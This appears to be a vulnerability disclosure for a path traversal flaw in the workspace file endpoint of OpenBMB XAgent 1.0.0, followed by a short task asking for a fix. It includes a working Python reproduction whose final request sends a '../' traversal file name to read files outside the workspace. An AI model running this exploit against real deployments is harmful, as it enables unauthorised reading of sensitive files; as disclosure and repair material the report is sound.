Vulnerability report: OpenBMB XAgent 1.0.0 Path Traversal

Vulnerability report: OpenBMB XAgent 1.0.0 Path Traversal

Vulnerability summary

XAgent is vulnerable to path traversal vulnerability in file() function in XAgent/XAgentServer/application/routers/workspace.py. The input parameter “file_name” is user-controllable and is concatenated into the file path to be read without proper validation, leading to a directory traversal vulnerability that may result in sensitive information disclosure.

Affected product

Vendor: OpenBMB

Product: XAgent

Version: 1.0.0

Vulnerability component: XAgent/XAgentServer/application/routers/workspace.py

Vulnerability detail

Vulnerability type: Path Traversal

Attack type: Remote

Impact: Information Disclosure

Vulnerability Reproduction

1. After launching XAgent, we first create a user

import requests
url = 'http://localhost:8090'

user = {
    "email": "test@outlook.com",
    "name": "user",
    "corporation": "xx",
    "position": "xx",
    "industry": "xx"

}

req = requests.post(url=f'{url}/user/register', data=user)
print(req.text)
'''
{"data":{"user_id":"c929cb68852547d9aa4f26ca453c38ad","email":"test@outlook.com","name":"user","token":"92fd4b90149a4ff9877e33a788a4cf74","available":true,"corporation":"xx","position":"xx","industry":"xx","create_time":"2026-01-21 15:21:05","update_time":"2026-01-21 15:21:05","is_beta":false},"success":true,"message":"Register success, we will send a email to you!"}
'''

2. create an interaction

data = {
    "user_id": "c929cb68852547d9aa4f26ca453c38ad",
    "token": "92fd4b90149a4ff9877e33a788a4cf74"
}
req = requests.post(url=f'{url}/conv/init_conv_env', data=data)
print(req.text)
'''
{"data":{"id":"8005eb45f8724b4d8b4914e9c9460654","t":"1769008962493"},"success":true,"message":"success"}
'''

3. call routers/conv/community api

import json
interaction = {
    "interaction_id": "8005eb45f8724b4d8b4914e9c9460654",
    "create_time": "2026-01-21"
}

raws = [
    {
        "status": "finished"
    }
]

data = {
    "user_id": "c929cb68852547d9aa4f26ca453c38ad",
    "token": "92fd4b90149a4ff9877e33a788a4cf74",
    "user_name":  "user",
    "interaction":   json.dumps(interaction),
    "raws": json.dumps(raws)
}

files = {
    'files': open('./test.js', 'rb')
}
req = requests.post(url=f'{url}/conv/community', data=data, files=files)

4. call routers/workspace/file api

data = {
    "user_id": "c929cb68852547d9aa4f26ca453c38ad",
    "token": "92fd4b90149a4ff9877e33a788a4cf74",
    "interaction_id": "8005eb45f8724b4d8b4914e9c9460654",
    "file_name": "../../../../../../../example.txt" # malicious input
}
req = requests.post(url=f'{url}/workspace/file', data=data)
print(req.text)
'''
{"data":"path traversal!\n","success":true,"message":"get file success!"}
'''

After constructing malicious input(file_name), we can trigger the vulnerability and access any sensitive information.

Start with XAgent/XAgentServer/application/routers/workspace.py and the POST /workspace/file reproduction. Trace how the user-controlled file_name becomes a path, then verify the behavior using the supplied requests. Done means traversal input cannot read files outside the intended workspace while normal file access still works.